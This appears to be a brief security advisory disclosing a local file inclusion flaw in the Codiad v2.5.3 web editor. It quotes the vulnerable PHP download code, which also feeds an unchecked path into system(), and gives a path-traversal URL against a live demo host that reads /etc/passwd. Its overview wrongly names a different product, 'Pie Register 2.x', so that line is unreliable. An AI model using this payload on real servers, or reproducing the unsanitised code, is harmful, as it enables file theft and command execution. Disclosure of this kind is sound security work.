[+]Title: Codiad v2.5.3 - LFI Vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 12/03/2015
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Pie Register 2.x suffers, from a Local File Disclosure vulnerability.
 
[+]Proof Of Concept:

[PHP]
    //////////////////////////////////////////////////////////////////
    // Run Download
    //////////////////////////////////////////////////////////////////

    if(isset($_GET['type']) && ($_GET['type']=='directory' || $_GET['type']=='root')){
        // Create tarball
        $filename = explode("/",$_GET['path']);
        //$filename = array_pop($filename) . "-" . date('Y.m.d') . ".tar.gz";
        $filename = array_pop($filename) . "-" . date('Y.m.d');
        $targetPath = DATA . '/';
        $dir = WORKSPACE . '/' . $_GET['path'];
        if(!is_dir($dir)){
        	exit('<script>parent.codiad.message.error("Directory not found.")</script>');
        }

        //////////////////////////////////////////////////////////////////
        // Check system() command and a non windows OS
        //////////////////////////////////////////////////////////////////
        if(isAvailable('system') && stripos(PHP_OS, 'win') === false){
          # Execute the tar command and save file
          $filename .= '.tar.gz';

          system("tar -pczf ".$targetPath.$filename." -C ".WORKSPACE." ".$_GET['path']);
          $download_file = $targetPath.$filename;
        }elseif(extension_loaded('zip')){ //Check if zip-Extension is availiable
          //build zipfile
          require_once 'class.dirzip.php';

          $filename .= '.zip';
          $download_file = $targetPath.$filename;
          DirZip::zipDir($dir, $targetPath .$filename);
        }else{
          exit('<script>parent.codiad.message.error("Could not pack the folder, zip-extension missing")</script>');
        }
    }else{
        $filename = explode("/",$_GET['path']);
        $filename = array_pop($filename);
        $download_file = WORKSPACE . '/' . $_GET['path'];
    }
[PHP]


http://demo.codiad.com/i/197156553/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined